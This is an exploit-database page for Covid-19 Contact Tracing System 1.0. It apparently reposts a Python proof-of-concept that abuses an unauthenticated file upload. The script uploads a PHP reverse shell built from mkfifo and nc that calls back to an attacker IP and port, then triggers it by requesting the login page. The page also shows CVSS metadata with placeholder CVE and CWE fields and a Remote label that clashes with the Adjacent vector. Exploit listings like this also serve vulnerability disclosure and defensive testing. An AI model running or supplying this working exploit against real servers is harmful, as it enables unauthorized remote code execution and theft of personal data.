Exploitalert - Database of Exploits

Covid-19 Contact Tracing System 1.0 Code Execution

CVE	Category	Price	Severity
CVE-XXXX-XXXX	CWE-XXX	Not specified	Critical

Author	Risk	Exploitation Type	Date
Not specified	High	Remote	2021-03-01

CVSS	EPSS	EPSSP
CVSS:4.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Adjacent	AV	The vulnerable system is bound to a protocol stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared proximity (e.g., Bluetooth, NFC, or IEEE 802.11) or logical network (e.g., local IP subnet), or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN within an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2021030003

Covid-19 Contact Tracing System 1.0 Code Execution

# Exploit Title: Covid-19 Contact Tracing System 1.0 - Remote Code Execution (Unauthenticated) # Date: 28-02-2021 # Exploit Author: Christian Vierschilling # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/14728/covid-19-contact-tracing-system-web-app-qr-code-scanning-using-php-source-code.html # Version: 1.0 # Tested on: PHP 7.4.14, Linux x64_x86 # --- Description --- # # The web application allows for an unauthenticated file upload which can result in a Remote Code Execution. # --- Proof of concept --- # #!/usr/bin/python3 import random import sys import requests from requests_toolbelt.multipart.encoder import MultipartEncoder def file_upload(target_ip, attacker_ip, attacker_port): random_file_name = str(random.randint(100000, 999999)) + "revshell.php" revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port) m = MultipartEncoder(fields={'name': 'PWNED', 'img': (random_file_name, revshell_string, 'application/x-php')}) print("(+) Uploading php reverse shell..") r1 = requests.post('http://{}/cts_qr/classes/SystemSettings.php?f=update_settings'.format(target_ip), data=m, headers={'Content-Type': m.content_type}) if r1.text == '1': print("(+) File upload seems to have been successful!") return None else: print("(-) Oh no, the file upload seems to have failed!") exit() def trigger_shell(target_ip): print("(+) Now trying to trigger our shell..") #The file we uploaded previously is expected to be an image that the web app tries to embed into the login page. #So by requesting the login page, our reverse shell php file will get triggered automatically. We dont even need to calculate the random bits of its new name. r2 = requests.get('http://{}/cts_qr/login.php'.format(target_ip)) return None def main(): if len(sys.argv) != 4: print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0]) print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0]) sys.exit(-1) target_ip = sys.argv[1] attacker_ip = sys.argv[2] attacker_port = sys.argv[3] file_upload(target_ip, attacker_ip, attacker_port) trigger_shell(target_ip) print("\n(+) done!") if __name__ == "__main__": main()

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